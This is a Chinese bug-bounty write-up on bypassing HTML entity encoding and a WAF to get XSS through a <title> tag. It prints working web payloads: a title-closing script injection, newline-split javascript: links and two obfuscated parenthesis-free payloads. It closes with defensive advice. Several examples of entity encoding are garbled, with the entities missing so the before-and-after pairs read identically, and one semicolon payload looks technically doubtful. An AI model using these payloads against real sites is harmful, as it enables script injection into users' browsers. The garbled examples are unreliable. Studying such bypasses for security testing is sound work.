【BugBounty】记一次XSS绕过
字数 983 2025-08-10 12:18:08
XSS绕过技术详解:从基础到高级绕过WAF
1. XSS基础与初步测试
1.1 测试环境发现
- 目标场景:用户输入在
<title>标签中展示 - 初始测试:输入尖括号
<和>被转换为HTML实体编码<转换为<>转换为>
1.2 HTML实体编码原理
HTML实体编码用于安全显示预留字符:
- 格式:
&entity_name;或&#entity_number; - 常见编码:
<→<或<>→>或>"→"或"
2. 初级绕过技术
2.1 绕过HTML实体编码
发现输入HTML十进制实体编号会被解码:
- 例如输入
xxx会被解码为xxx - 利用这一特性可以闭合
title标签:</title><script>alert(1)</script>
3. WAF层绕过技术
3.1 标签过滤绕过
- 初始尝试:``被WAF拦截
- 解决方法:Fuzz测试可用标签
- 发现
<a>标签未被过滤 - 基础payload:
<a href="javascript:alert(1)"/>
- 发现
3.2 JavaScript关键字过滤
- WAF过滤了
javascript:和alert( - 绕过方法:
- 使用HTML实体编码JavaScript代码
- 使用换行符绕过:
<a href=ja
vascript:alert(1)> - 使用分号分隔:
<a href="javascript;alert(1)"/>
3.3 无括号执行函数
当WAF阻止括号使用时:
- 发现大多数函数都需要括号
- 最终解决方案:使用复杂的JavaScript混淆技术构造无括号执行
4. 高级绕过Payload分析
4.1 复杂混淆Payload 1
<a/href="javascript;{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click
- 使用对象解构重组字符串
- 通过属性访问间接调用函数
4.2 复杂混淆Payload 2
<a href=ja
vascript:k='',a=!k+k,f=!a+k,g=k+{},kk=a[k++],ka=a[kf=k],kg=++kf+k,ak=g[kf+kg],a[ak+=g[k]+(a.f+g)[k]+f[kg]+kk+ka+a[kf]+ak+kk+g[k]+ka][ak](f[k]+f[kf]+a[kg]+ka+kk+"(k)")()> 1111";//</title>
- 通过JavaScript类型转换构造字符串
- 利用布尔值和空字符串构造字符
- 最终动态构建并执行函数
5. 防御建议
5.1 对开发者的建议
-
实施多层防御:
- 输入验证
- 输出编码
- 内容安全策略(CSP)
-
不要依赖单一安全措施
-
定期更新WAF规则
5.2 对安全人员的建议
- 持续学习新型绕过技术
- 掌握JavaScript高级特性
- 参与安全社区获取最新信息
6. 总结
本案例展示了从基础到高级的XSS绕过技术:
- 识别HTML实体编码防御
- 绕过基础过滤
- 对抗WAF的多层防护
- 最终使用高级混淆技术完成绕过
关键点在于理解每一层防御的工作原理,并找到其逻辑漏洞或实现缺陷进行绕过。